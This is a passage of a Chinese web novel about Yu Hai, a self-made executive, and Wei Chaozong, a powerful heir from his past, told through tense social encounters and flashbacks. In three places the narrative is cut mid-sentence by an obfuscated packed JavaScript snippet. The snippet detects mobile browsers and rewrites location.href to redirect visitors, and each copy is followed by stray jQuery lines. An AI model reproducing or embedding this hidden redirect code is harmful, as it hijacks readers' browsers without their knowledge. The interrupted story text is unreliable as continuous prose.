韩涛趾高气昂:“你是我带着的,谁敢看轻你?行了,把心放进肚子里,到时候有你表现的机会。”
于海:“韩……”
话未说完,电话被挂断了。
怎么就不听劝哪。
面子?
魏朝宗那狗脾气,没有身份光环的时候,就谁的面子都不给,何况现在?
韩涛的声音穿透力极强,刘江坐在对面都替于海感到耳朵疼,自然也听全了他所说的话:“韩涛说的魏少,就是你前两天去机场迎接的那位?”
于海默然点头。
“周家是青奚市商界的龙头,这位要是周家继承人,那的确是正儿八经的太子爷。”刘江感慨,“排场搞得够大的,刚下凡就把青奚市搅得一浪接一浪,和他攀关系一个弄不好反而会惹得一身腥。”
如果刘江知道他要见的人是谁,那就不止是感慨惹一身腥了,估计会跳起来大叫,你要去送命啊。
于海搁下笔,无奈道:“所以啊,我才不想去趟浑水。”
刘江:“不过,我看这事你推不成,总归咱们和他们这帮少爷不是一条道上的。远着点,他们这些眼高于顶的天之骄子应该也看不见咱们。”
于海默默道:看不见?最好真的看不见。
算了,明天的事明天再说,兵来将挡水来土掩。
也不知人是怎么坐的,架势那么一摆,整的跟皇帝临朝似的,反衬得他们陪坐的一圈像伺候人的小厮。
“小于啊。”韩涛目光中含着责备与惊奇,不明白一向机灵的人怎么忽然不上道了,“还愣着干吗?给魏少满上。”
于海一时半会未反应过来,就看见在座一帮人的目光唰唰的转到他这个方向,聚焦到他身上。
那各色目光复杂的,于海一眼扫过去,还以为到了宫斗现场。
得。
是他疏漏了,皇帝身边伺候的哪能叫小厮,得叫太监。
尽管于海再三推辞,韩涛郎心似铁坚决不改让他在魏朝宗面前表现的决心。
所谓的表现就是端茶倒水。
表现好不好另说,现眼是真的现眼。
于海坐在角落靠柜子的地方,柜子上摆着未开封的红酒、白酒,还有一壶白水。
于海抄起水壶,从最远的角落一路奔到“王座”跟前,给四平八稳坐在主位沙发上的人倒了满满一高脚杯:“您请。”
领他进来的韩涛疯狂给他眼神示意:“小于,你怎么给魏总倒起水来了,这有好酒,快给魏总倒上。”
于海八风不动的微笑:“喝酒伤胃。”
魏朝宗意味不明的笑了笑,端起高脚杯浅酌了两口。
姿态相当优雅,像西方电影里的吸血鬼,还是生活在古堡里几百年以上的那种。
陪坐的一圈人瞠目结舌,直接傻眼。
魏少居然是个听人劝的,机场那排场摆的不像个平易近人的啊。
于海心想的是,好小子多年不见,学会装模作样了。
魏朝宗放下高脚杯,似笑非笑:“小于?”
于海还没怎么样,韩涛已经在那给他做推销了:“于海,百川的总裁,去年当选了青奚市的十佳青年企业家,人实诚上进,前途不可限量。”
韩涛劲上来了,那叫一个眉飞色舞,化身路边小摊贩,推销他和卖大白菜似的。这白菜不是普通的白菜,它是开水白菜,老母鸡、火腿、蹄子、排骨、干贝熬煮出来的精华做汤底,美味的很。
但在见惯山珍海味的人眼中,寒微出身的他已经被打上了廉价的标签,制作工序再复杂,原材料粗糙依然上不得台面。
于海清晰的看到坐在魏朝宗最近位置的两个人的神色一闪而过的不屑。
这两人都是青奚市的知名人物,出身顶尖豪门世家的公子哥。
看座位也可知他们俩的地位。
周家继承人是东宫太子,这二位就是东宫伴读,未来的天子近臣,私人飞机能停进周家私人地盘的权贵子弟。
翘着二郎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022232|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腿的那位是八卦小报的常客,乔家二公子,绯闻不断,连于海这么一个不怎么关注娱乐新闻的都听过他的花名。
偶尔路过茶水间,听到员工们热情高涨的讨论娱乐消息,哪位明星又爆出丑闻或恋情,凡是恋情的八卦最后总会扯到乔家二少身上:就算他(她)火上天,在乔家二少眼里,也就是个挂件。
乔家……东区说一不二的存在,稳压孙家一头,于海不着痕迹的多看了他一眼。
另外一位面貌普通唇角挂着温润笑意的是禇家继承人。
去年十大青年企业家,这位禇少爷是封面人物,打开内页,有关于禇少的介绍占了一半,他们其余九人瓜分另一半。若禇少爷是众星拱月的那轮明月,于海就是角落辉光黯淡的星。
刘江还拿着那本杂志为他抱不平,杂志社太不地道了,拜高踩低的,你和禇骋戎的履历这不一模一样嘛,凭什么报道篇幅差了十万八千里。
于海瞅了半天,除了性别和年龄一样,其他地方没瞅出来半点相似之处。
老刘给他掰扯,年龄一样,都是28,出生地一样,都在青奚,上学的地方,都在青奚市朔平区,同样出国深造,同年评选上了十大优秀青年企业家。等哪天你俩见了面,说不定会惺惺相惜。
于海打断他的饶舌,可真TM的“一模一样”啊。
一个出生在罗马,一个出生是牛马,禇骋戎高中在一年学费十几万的贵族高中,他普高刚读一年就被逐出校门。禇骋戎出国留学深造拿到QS排名前三的大学金融硕士学位,他去鸟不拉屎的地方“搬砖”搞基建。禇骋戎毕业回国继承世界五百强的家族企业,他回国创业如履薄冰。
禇骋戎别说对他有好感了,听别人抬举他两句年轻有为,都觉不屑。
梦里的惺惺相惜。
掌管一个市值数亿的公司,在他们这些私人财产都能有这个数目的豪门继承人眼里完全不够看的。
不过这会儿,众星拱月的月,到了魏朝宗面前,也避其锋芒,甘心做起了陪衬。
禇骋戎做生意的,讲究说话留三分,给人几分颜面。
乔叶轩却很直白,毫不掩饰的轻慢:“百川?没听过,上市了吗?禇哥,你去年不是也当选那个什么十大青年的,你听过百川吗?”
于海眼皮都不带抬一下的,心中毫无波澜,混迹商场这么些年,他要是连这点养气功夫都没有,那真是白混了。
禇骋戎嘴上说着客套话:“早有耳闻,百闻不如一见,于总果然是青年才俊。”
甭管对方心里怎么想的,有人给了台阶,他就顺势下去,于海笑得四平八稳:“小本生意,入不得各位的眼。”
魏朝宗将杯子放在桌子上,发出叮的一声响动,神情莫测令人捉摸不透:“看不出来,你还是个有自知之明的人。”
于海露出一个谦逊的笑,他这人优点不多,有自知之明是其中之一。
魏朝宗眯眼凝视着他:“说吧,你想要什么?”
此言一出,满室寂静。
于海心中咯噔一下,再次“享受”到全场焦点的待遇。
这要是换个人,指不定于海就顺势开口了,毕竟求人他也算驾轻就熟,但发话的人是魏朝宗,这事就得掂量掂量。
5. 第 5 章
于海无视了韩涛疯狂的挤眉弄眼。
韩涛恨铁不成钢:“小于他……”
魏朝宗一个淡淡的目光扫过来,韩涛后背一凉,话卡在喉咙。
于海维持微笑,黑眼珠子透亮,一眼望尽的真诚:“魏少,我没什么想要的。”
他说的是真心话,公司确实是面临危机,需要解除危机,必要时候他自然会求人,也确实求了不少人,但他不会去求魏朝宗。
毕竟他的脸皮虽厚,还没有厚到刀枪不入的程度。
他跟着韩涛过来,也就是迫于韩涛的热情邀请,走个过场。
刚才疯狂眼神示意的韩涛这会儿眼角抽筋似的抖动。
魏朝宗冷着脸一言不发,在场人大气不敢喘。
“既然没什么事…”禇骋戎打圆场,“朝宗,我们换一摊?前几天就给你摆好了接风宴,这次你可不能推脱了。”
乔叶轩兴奋的附和:“对啊,魏少,呆在这无聊的地方也是浪费时间,不如换个有意思的地方玩。”
于海安静如鸡,沉默的在角落种蘑菇,无奈某人视线太过灼热,几乎要在他身上烫出两个洞了。
他也是个贱脾气,别人让三分,他能让五分。但若是遇到针锋相对的,他下意识反应就是以其人之道还治其人之身。
尤其对他挑衅的人还是魏朝宗,当年那个无论蹦哒多欢,只要他收拢手指就乖的像小狗似的魏朝宗。
于海嗖地抬头,精准捕捉犀利视线的来源,以更热烈的目光盯了回去。
这场交锋瞬息间结束,魏朝宗几乎在他看过去的那一秒就收回了视线。
于海因为赢了这场小游戏不禁生出得意,视线余光瞄到众人的满脸惊异,又暗骂了自己几句。
于海啊于海,幼稚不幼稚啊你,跟这么个人较真有意思吗你。
魏朝宗小心眼你又不是不知道,现在可好了,脸都给你气红了。
人家现在可是高高在上的魏少,是周家继承人,一指头就能摁死你。
孙震元那只疯狗还没送走,不会又惹上一只吧?
于海想到后面,怀着虱子多了不痒债多不愁的想法,迅速把心态调整好了。
魏朝宗眉宇间的折痕却愈加深了,他抿紧唇,冷硬的脸部线条散发出凛冽的寒气,冻的整个屋内的气氛结了冰。
众人屏息宁神战战兢兢等他发难,魏朝宗忽然猛地站起身大踏步往外走。
在他起身的那刻,屋内呼啦啦全站了起来,就连一脸得瑟的乔叶轩也慌忙的放下二郎腿,赶紧站起来紧随其后。
于海随大流一同起身,“恭送圣驾”。
终于到了“退朝”的时候,于海漫不经心的想,他还是适合安安分分一步一个脚印的往上爬,像这样打着一步登天口号的“面圣”机会谁爱要谁要。
“圣驾”轰轰烈烈的移动,所过之处卷起一阵风,经过于海之处时猛地按了暂停键。
“伴驾”的乔叶轩正风风火火的往门口走,因为意料不到的止步,身体惯性的向前冲了一下,险些没站稳。
于海努力克制住笑意,就听到身侧传来一个冰冷讽刺的低语:“这种货色就是你选的高枝?活该你越混越差。”
高枝?是在说他攀附韩涛?
结交韩涛借对方的关系发展自身这事于海承认,但他怎么就越混越差了?好歹他也是年度青年企业家。
不过他懒得和魏朝宗较劲。
于是低声回复:“对对对,您说的对,我眼光一如既往的差。”
肉眼可见的,魏朝宗脸色更难看了。
于海:活该,让丫的阴阳怪气。
想法刚落地,脚趾忽地一重。
就见一锃光瓦亮的皮鞋踩在他脚上小幅度的摩擦。
也不用力,彷佛只是单纯的体验一把鞋底踩脚趾的快乐。
于海面部一抽:“魏少,请高抬贵脚。”
魏朝宗手接过墨镜戴上,然后慢悠悠的若无其事的移开脚,神清气爽的离开了。
于海简直要气笑了。
他真是高看魏朝宗了,长进个屁!
两人声音放得低,其他人没有听到具体的交谈内容,只看到魏少脸色铁青,接着局势扭转,脸色难看的变成了于海。
这副情景,不用猜,于海不知趣的言行举止得罪了魏少!魏少对于海极其不满!
韩涛叹息的拍拍他的肩膀:“这次我是真救不了你了。”
于海四下看了看,收获一堆或同情或幸灾乐祸的目光——“这你也敢惹”、“不知自己几斤几两的东西”、“你完蛋了”、“等死吧”……
韩涛语气沉重:“有什么想吃的想喝的想玩的,都和我说,今晚上哥都给你办了。”
这是送他吃断头饭吗?
于海:……
倒也不必。
室外,魏朝宗一路大踏步疾走。
乔叶轩跟在后面气喘吁吁的小跑,暗暗吐槽,显摆丫腿长啊走那么快。要不是他老子下了命令,他才不过来陪这个初来乍到的太子爷。
周家继承人?
继承人,那不就是还没继承吗?万一周家家主老来得子,这位太子爷还不是立刻失去继承权。
想到此,乔叶轩也不做跟屁虫了,放慢脚步走到禇骋戎跟前,悄声问:“你有没有觉得魏少有点不对劲。”
他更想问,魏少是不是犯病了,怎么出门就变脸了。
禇骋戎没有回答,做了个噤声的手势。乔叶轩翻了个白眼,抱胸懒洋洋的走出大门。
会所门前,一列豪车整装待发,正对门口的是一辆黑金配色涂装的布加迪,而魏朝宗正沉默的站在车前。
乔叶轩勾唇,魏少还知道等他们一等,看来短暂的相处,还是处出来一定效果的。
果然不愧是他,交际能力一流。
自我褒奖之后,乔叶轩的心思活泛起来,视线不由自主的从车主移到车身。
大宝贝,真漂亮啊!
每次看到这辆黑金布加迪他都不禁眼前一亮,那极具冲击力的美感能让人在一瞬间忘却所有。科技与艺术完美融合,充满了未来感!
唯一的缺点就是这辆车不是自己的。
乔叶轩被美丽的车身流线迷了眼,蠢蠢欲动的往前走了两步,意图看的更仔细些。
“嘭!”
一个黑色的物体从魏朝宗手中飞出狠狠砸到车窗上!七零八散滚落一地!
乔叶轩瞳孔急剧收缩,他没心思关注四分五裂的玩意,他心疼车啊!
不喜欢送他啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022233|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!
不知道车身有没有被剐蹭到?车漆的昂贵不提,上面的喷绘可是无价之宝,那是他最喜欢的喷绘艺术家Hank 的得意之作。
想到它可能受损,乔叶轩简直要捂胸口了。
不过……也不全然是坏事,照魏朝宗对这个座驾的态度,说不定魏少会同意他接一下盘。
“朝宗……”禇骋戎目含担忧。
乔叶轩酸倒了牙,知道你和魏朝宗是旧识,同一所大学留学,曾经的师兄弟,也不必时时刻刻表露。
不过见禇骋戎一脸的关怀备至,他也不能落于人后,思索了两秒说:“魏少,那个叫什么于海的,就是个上不得台面的泥腿子,赶明我找人教训教训他,让他跪在你脚边认……”
魏朝宗猛地回头!
乔叶轩顿住,喉咙像卡了鱼骨,半句话也吐不出来。
乔叶轩难以想象究竟是多么激烈的情绪才能让一个对外界漠不关心、目光冷漠如冰的人双眼赤红充血,他无法描述那里面蕴含的复杂感情,浓郁到压抑,令人窒息,令人惊惧。
让他从内心深处感到恐慌的,是那复杂目光中赤裸的杀意。乔叶轩为之悚然,不由自主的后退一步。
禇骋戎却迎上前去,亲自为魏朝宗打开了车门:“东郊的盘山公路很安静,去溜一圈?”
语调轻柔,乔叶轩上一秒还在惊恐,下一秒鸡皮疙瘩都起来了,他感叹禇骋戎不愧是混迹商场的人,瞧这能屈能伸的,低声下气到这种地步也只有在面对他爹时才会吧。
魏朝宗收回沉沉的目光,坐进了车内。
禇骋戎又贴心的笑着弯腰给人合上车门。
乔叶轩竖起大拇指:“禇哥,你这门童做的真到位,给我也服务下呗。”
得到的是后脑勺上的一巴掌。
乔叶轩:……
环视一周,很好,都低着头。
幸好他发量多,巴掌声淹没在浓密的头发里,没有引起关注,不然他铁定翻脸。
布加迪的怒吼响彻天际,银色轮毂转动,包覆其上的特制车胎将滚落地面的墨镜彻底碾碎,毫不留恋的扬长而去。
乔叶轩赶紧跳上自己心爱的座驾急追。
三辆定制款跑车如离弦之箭冲了出去,呼啸而过卷起一阵又一阵的烟尘。
黑金布加迪一骑绝尘,快的几乎捕捉不到它的身影。
乔叶轩轻松的目光越来越严肃,死死盯着前方越来越远的影子,方向盘越握越紧,肾上腺素极速飙升。
艹!乔叶轩刺激的天灵盖都要飞了!魏朝宗玩车还是他妈的玩命啊!
这他妈的也不是东郊啊!这他妈的压根不是东!
乔叶轩边开边骂,眼见心爱的布加迪车影都看不到了。
要是把人跟丢了出了什么事,他得被家里老爷子打断腿脚。
危险的想法一闪而过,与此同时布加迪的车屁股彻底消失在视线中。
乔叶轩单手撑在配有黑色跃马标志的方向盘上,茫然四顾。
灯火辉煌的大楼映入眼帘,乔叶轩被魏朝宗蛮横的开车方式搞得晕头转向,此时看到熟悉的大楼标志猛然醒悟。
城南朔平区,褚家的地盘。
那就没事了,即便出了事也得算到褚骋戎头上。
6. 第 6 章
乔叶轩心安理得的打方向盘准备去别处逍遥,至于太子爷,还是让褚骋戎伺候吧。
太他妈难伺候了,比他老子还阴晴不定。
不过……乔叶轩眼中闪过一道精光,魏朝宗对那个叫于海的态度,确实有几分说不清道不明的诡异。
如果不是在朔平区,褚骋戎险些也要跟丢了,在超跑消失在视野之后,禇骋戎动用关系调了监控,才知道魏朝宗开车一路奔向朔平区边缘地带去了。
那片地方几年前拆迁了,如今到处都是工地。同样是黑灯瞎火的,东郊的空气比这儿可清新多了。
禇骋戎不解魏朝宗的用意,但转念一想,以魏朝宗的性情,随心所欲惯了,似乎也不需要什么目的。
开发中的地方人烟稀少,路灯和监控的数量也少,禇骋戎无头苍蝇似的转了半个多点,终于找到了人。
布加迪大灯的光芒投射在远处,车灯旁一个修长的身影影影绰绰。
禇骋戎在后面观望了会,那个身影保持着同样的姿势一直没有动,无端地有些落寞。
W国留学时,他高魏朝宗三届,却和其他人以为的他们二人大学初相交不同,他和魏朝宗的相识可以追溯到童年。
禇骋戎认识中的魏朝宗,少时天真自傲,长大后则是个极度冷漠不近人情的人。
留学期间,魏朝宗鲜少交际,没有同性朋友,也没有和异性发展出感情,甚至连花边消息都没有。
他凭着年少相识的微薄情分,才和魏朝宗走的近了些。
今晚魏朝宗的反常他看在眼里,难以想象这样一个对外事外物皆不关心的人,竟然出现孤寂怅然的情绪……
禇骋戎一时不知如何开口,放轻脚步走过去想安慰几句。
“我想一个人呆一会。”
禇骋戎不着痕迹的打量,见他神色恢复平静,声音也是惯常的无波无澜,放了心:“有事随时叫我。”
脚步声渐远,魏朝宗掏出一支香烟点燃,银色软剑缠绕冷灰色滤嘴,在夜色下泛着寒光。
魏朝宗看着指尖的缭绕的烟雾,一些记忆不受控制的浮现。
事实上,自从那一刻起,从他回头那一刹那开始,他的思绪无时不刻不被过往的纠缠着。
庞杂、深刻的记忆翻涌,像一道道细弦不断切割着他的神经。
魏朝宗面无表情的捏碎了香烟,烟丝从指缝滑落,随风卷向远处。
高耸入云的摩天轮在黑夜中只能看到一个大致的轮廓,魏朝宗遥望了一夜。
于海权当无事发生,照常精神抖擞的处理公事。
今天事情不多,批示完文件,于海揉了揉手腕,继续搭建简易版的游乐场。
刘江敲门入内,两只手捧着保温杯一脸意外:“我以为你今天来不了呢。这位太子爷不是个爱玩的?”
于海放下手中的散件,慢悠悠的坐到茶桌前。
茶桌上,茶壶的盖子咕嘟嘟响起来,热气飘出壶嘴,蒸腾出清淡的雾气。
“等你见面就知道了。”
于海曲了曲手指。
刘江将空了的袖珍保温杯递过去。
保温杯手掌大小,不到二百升的容量,刘江为了配于海办公室的茶壶专门买的。
紫砂壶常年泡茶,茶香浸淫日久,不加茶叶煮出来的沸水自有一股清香。
刘江内火旺入眠难,不宜饮茶,但又贪那点茶香,于是经常到于海这讨点涮壶水喝。
于海拎起茶壶,滚烫的热水倾泻而下,杯底的菊花枸杞决明子飘上来。
刘江接过杯子,飘出的热气混合着淡雅的清香沁人心脾,他心情放松了些,满不在乎的笑了笑:“我哪能见到这尊大佛。”
这位太子爷下凡,引得青奚市金字塔顶层的那些人像闻到血腥味的秃鹫急不可待的围了上去。
这样的人物,他可攀不上。
于海看着他笑而不语:何止见过,你还指着人鼻子骂过。
“你笑得我浑身发毛。怎么个意思?”刘江一手抱着保温杯,一手搓了搓胳膊上的鸡皮疙瘩,瞪圆了眼,“你休想诈我。”
“我是个爱玩欺诈小游戏的人吗?”
“你可太是了!”
“没骗你。”于海笑着靠在座椅上,“这人你认识。”
刘江立刻坐直了身体,一脸不信的指着自己:“我认识?我上哪儿认识这些权贵子弟去。”
刘江绞尽脑汁想破脑袋也没想出来有什么牛逼哄哄的故人,难道他的高中、大学同学们里有隐藏的权贵二代?还是和周家有关系的?
于海不再卖关子,平淡的念出三个字:“魏朝宗。”
“什么?”刘江腾地站起来,一时怀疑自己耳朵出了问题,“魏朝宗?那个…”
于海替他补全了余下的话:“那个小魏。”
“啊?”刘江如遭雷劈,脑瓜子嗡嗡的,“K国捡的小子,天天追着你跑的那个?”
于海笑了笑没答话。
刘江一拍大腿:“早该想到的!”
“就那小子的烂脾气,真的是出身贫困孤苦无依,早就饿死了,饭都要不到!”
于海听得好笑:“几年前付得起出国机票的人,哪点和穷沾边?”
不过刘江有一点说的没错,魏朝宗的脾气确实坏。
因为他的火爆脾气,于海没少教训他。
“我这是夸张修辞,他也不像金钱堆里出来的富家子弟啊。”
兜比脸干净,脾气一点就着。
要钱没钱,要修养没修养,成天臭着脸像个看家护院的恶犬围着于海打转。
刘江活了小半辈子,见过不少奇葩人事,魏朝宗绝对是个中翘楚。
多年不见,刘江依然对他印象深刻。
五年前,他和于海已经在K国长驻一年半,他们的施工小队协助国内集团的技术人员推进当地的工程建设。
那段时间毗邻的S国战火又起,大批人逃难到K国。为保障安全,他们大部分时间都在宿舍呆着,非必要不外出。
某次,于海出门采购物资,深夜未归,让他帮忙请假,回来时身边多了个人。
“哪来的?”
“路上捡的。”
刘江打量亦步亦趋跟着于海的人。
尚稚嫩的面孔透着寒意,黑色上衣灰扑扑的,有几处干涸的深色洇痕。
刘江热情的打招呼,对方好似完全没听到,目光始终追随着于海,一言不发。
在之后相处的日子里,这个被于海捡来的年轻人永远冷着一张脸,除了于海在场会冷淡的回应一声,从不和他们说话,目光阴厉凶狠,像淬了毒的刀子。
刘江当年贴心的为他找了理由,年纪尚轻却在异国他乡遭难,不信任他人性格孤僻正常。
如今再看,小可怜的人设简直八竿子打不着。
孤苦伶仃是假,目中无人是真。
可恨又可笑的是这小子还是个两面派,在他们面前狼一样,到于海那卖力摇尾巴。
其他人阴阳怪气一句,挨顿打都是轻的,于海骂十句,这小子也就敢拿眼凶狠的瞪回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022234|148702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,摔个盆摔个碗,在于海的冷声斥责中离家出走——最远两里地。跑出大门把大树当沙袋拳打脚踢,然后拖着伤痕累累的手,卖惨博同情。
不过,后来出现了一只魏朝宗的强力竞争对手。
由于工程进展顺利,和当地政府的合作也很愉快,他们为了表达友好,送了只出生不久的阿拉斯加。
幼年的阿拉斯加跌跌撞撞的刚学会走路,谁都不爱,只黏着于海。
刘江还为此揶揄过于海,加油赚钱,两只大狗可不好养活。
话音刚落,魏朝宗推门而入,面无表情的拿着盆径直走向阳台晾衣服去了。
盆里的衣服是于海昨天换下的,魏朝宗熟练的抖开洗干净的T恤撑在衣架上。
不怪他没怀疑过魏朝宗的身份,哪家金贵少爷上赶着天天给人洗衣服的。
后来刘江和魏朝宗偶有掐架,他也干过指着魏朝宗鼻子骂人是狗的事。
刘江心怀忐忑压低声音:“小……魏少不会还记得我骂他吧?”
于海挑眉:“你骂过?”
刘江深知于海的脾性,苦哈哈的说:“希望魏朝宗的记性和你一样不好。”
只能寄希望于魏朝宗记忆力差了,毕竟这位是个睚眦必报的主,他早就见识过多次,骂他一句狗东西,当天晚饭就能吃到带料的饭。
那还是五年前,放到现在,有钱有势的魏朝宗不知道怎么报复哪。
于海心想,这点事放在他和魏朝宗的恩怨上不值一提。
他提壶给自己倒了半杯,漫不经心的说:“就算魏朝宗翻旧账,也翻不到你身上。”
刘江几乎立时想起那日所见,一股凉意蹿上脊柱。
时隔五年,历历在目。
当日的几分尴尬现在变成了十足的后悔。
悔恨自个那天喝太多水,半夜起床出门放水目睹了魏少的狼狈一面。
如果刚才刘江担心的报复是挨打,这会儿已经忧心会不会被灭口了。
大雨倾盆,魏朝宗跪在院门外的地上,抱着于海的腿嘶喊:“于海!我是人,不是一只任你随意丢弃的狗!”
于海扯开了他的手,关上了大门,隔绝于院门外的除了跪在地上的身影还有绝望的眼神。
那日以后,狗皮膏药一样粘在于海身上的人不明缘由忽然消失。
于海说是他家里人过来把人带走了,神色如常,似乎是件再自然不过的事。
但撞见令人尴尬的一幕,刘江用脚趾头想也知道事情没有那么简单。
刘江问:“当年找过来的是周家?”
于海轻啜一口,捏着小巧的茶杯转了转:“或许吧。”
是周家还是魏家都不重要,他也管不到这两家的事。
最好从此以后魏朝宗和他再见如陌路。
他们的交际圈迥异,只要不是刻意制造见面机会,在偌大的青奚市遇见的可能性微乎其微。
不过魏朝宗的狗脾气一上来,他也拿不准对方会做点什么事。
提前给刘江预警一下,免得毫无防备被吓一跳。
已经被吓得脑子宕机的刘江:……
于海:“如果他找你麻烦,你直接通知我,我来解决。”
刘江看着淡定无比的于大老板,想起过往两人的相处,深深吸口气,硬是没吐出个好字,苦着脸沉重的点点头。
如果真的找过来,刘江除了求助于海,也别无选择。
但是,于总,于哥,于大爷……你这股由内而外从容不迫拿捏魏少的自信从哪来的?
7. 第 7 章
刘江喝了半壶水才勉强平复跳动过快的心脏。
想起昨天韩涛吹的牛逼,刘江的表情有些扭曲:“韩涛昨天说给你表现的机会……”
于海用四个字总结昨天的情况:“挺现眼的。”
韩涛倒是挺尽心的,一门心思的让他在魏朝宗跟前现眼。
现眼是真现眼。
魏朝宗一对眼珠子快把他盯穿了,临走还给了他一脚。
听着就不是啥好词,刘江长叹一口气。
这下好了,彻底打消了他们攀附魏少这棵大树的打算。
不指望魏朝宗帮忙,对方能不使绊子,他就感恩戴德了。
刘江失魂落魄的捧着个空杯子走了。
半小时后去而复返,懊恼的捶了捶脑袋:“差点忘了正事。”
本来刘江准备的台词是——“魏少爷是太子爷,又不是青天大老爷,还能来青奚市主持公道?这棵大树没了就没了,后面……还有一片森林。”以此引出他最近联系的一个关键人物,顺便在于海面前卖个关子,让对方猜一猜。
万万没想到,于海抛出个惊雷,把他炸的头晕目眩。
“和孙家有关?”
于海的疑问让刘江提振了精神:“没错。”
“看来是个好消息。”于海挑眉,“你那边有进展?”
“大进展!”刘江终于恢复了大半精气神,“前段时间,我跑关系,有人给了我一个号码,你猜号码的主人是谁?”
于海迎着期待的目光,淡淡的吐出两个字:“徐蕊?”
徐蕊是刘江暗恋八年的女神,暗恋了人家八年连句告白的话都不敢说。
亢奋的脸瞬间垮了下来:“滚你丫的!”
“抱歉,说顺嘴了。”于海笑问,“请教刘总,这位牛逼人物到底是哪位?”
“王敬。”
“没听过。”
“他背后的人,你一定听过。”
“谁?”
刘江铿锵有力道:“孙孝廷!”
“孙震元的弟弟?”
于海心中闪过一丝怪异,短短几天,这是他第二次听到这个名字了。
青奚市的富豪多如牛毛,最顶层的那波以周家为首,其次便是禇家、乔家。
孙家论地位虽稍逊于顶层的世家,但家族关系的复杂程度却丝毫不逊于这些百年豪门。
孙家的盛玺集团当家人是孙孝廷的父亲孙伯辉,暂不论孙孝廷的堂亲,仅与他同父的兄弟姐妹就有七个。
“孙孝廷排行老二,据说一毕业就到他老爸身边当了特助,虽说不如孙震元掌管几个分公司看着光鲜,但他的位置能直达天听。”
于海摊手:“凯建老总和邹秘书不也直达天听,没什么用。”
前者是孙伯辉的多年球友,据说两人经常一起打高尔夫,后者是孙伯辉的秘书之一,服务了他十年之久。于海他们是用尽关系和手段,但孙伯辉压根不理会他们,别说解释了,根本不给他们面见的机会。
孙震元那么大动作,孙伯辉不可能不知道,知道的情况下不阻拦,那就是默许,是放纵。
“孙孝廷可是亲儿子。”刘江分析道,“别人说的话不信,他亲儿子说的话总得相信吧。孙震元对咱们出手完全是损人不利己的行为。如果孙孝廷能劝服孙伯辉,有他爸出手压制,孙震元至少会收敛几分。”
于海挑眉:“他们是兄弟,难道这位孙家二少还是位帮理不帮亲的公正判官?”
“帮不帮理难讲。帮亲?对他们这些家里关系复杂的兄弟,不背后捅一刀那就是重感情了。”刘江嘿嘿笑了声,“我今早给王助理打了个电话,听他透露的意思,这事儿有门。不过,王助理要你亲自联系他。”
刘江说的有几分道理,但于海有自知之明,拉拢他对争夺盛玺产生不了多少助力。
若是想借孙震元因私动用权力的不理智行为,令盛玺当家人对孙震元的印象分下滑,也没必要绕个圈子联系他。
正如刘江所说,孙孝廷只要在孙伯辉面前不经意透漏几句就行了。
虽然不明真实缘由,但孙孝廷大约是想见他一见。
这些少爷们谱摆的一个比一个大。
碍于自个“尊贵”的身份,要见他也不主动提及,反而拐弯抹角的让人传话,让他上赶着去求见。
于海只想本本分分做生意,对豪门争权的兴趣毫无兴趣,他可一点不想卷进去。
于海眉头微皱,又缓缓松开,勾起一抹极淡的笑:“行,我知道了。”
蒋秘书敲门而入,提醒今日的工作安排。
“于总,车已经备好了。”
“好,出发吧。”
于海起身走了几步被刘江拉住了。
“你不先给那边打个电话?”
于海扬眉,漫不经心道:“再说。”
看他什么时候有心情。
这段时间当孙子当腻了,暂时不想赔笑脸。
一天下来转了三个施工地,行程的最后落脚点位于朔平区郊野的兰湖公园,这儿正在建一个大型游乐场,距离竣工还有三个月。
视察结束,负责项目的孙经理照例带着他们去附近的小馆子嗦粉。
于海随手拨开袖扣挽起来,长腿一探,勾了个凳子坐下,熟练的点上喜欢的口味,等粉煮好端上来后挑起一大筷子大口吃起来。
孙经理对此接受良好,还记得第一次见此类场景时他惊讶的像看到了天外来客。
作为百川的最大领导,于总工作中所展现的气势惊人的强,一言一行都令人由衷信服,往往让人忘却他的年龄。
而工作外的于总散去惊人的气场,举止随意洒脱,像个落拓不羁潇洒从容的公子哥。
但无论哪一面,孙经理都无法将对方和苍蝇馆联系起来。
以至于第一次于总前来视察,孙经理绞尽脑汁想出来的一肚子安排无处施展。
“就这家吧,人挺多的,味道应该不错。”英俊的上司随手指向路边的一家粉店。
孙经理现在还记得自己当初吃惊的心情,这家粉店的味道的确不错,不过店面脏脏破破的,里面坐的都是刚下了工地的汉子,味道肯定也不会好闻。
他小心斟酌措辞:“您要吃,我让人打包一份?”
于总回头一眼看穿他所想,含笑道:“你是担心我不习惯?我就是这块儿长大的,故地重游,还能嫌弃自己老家?”
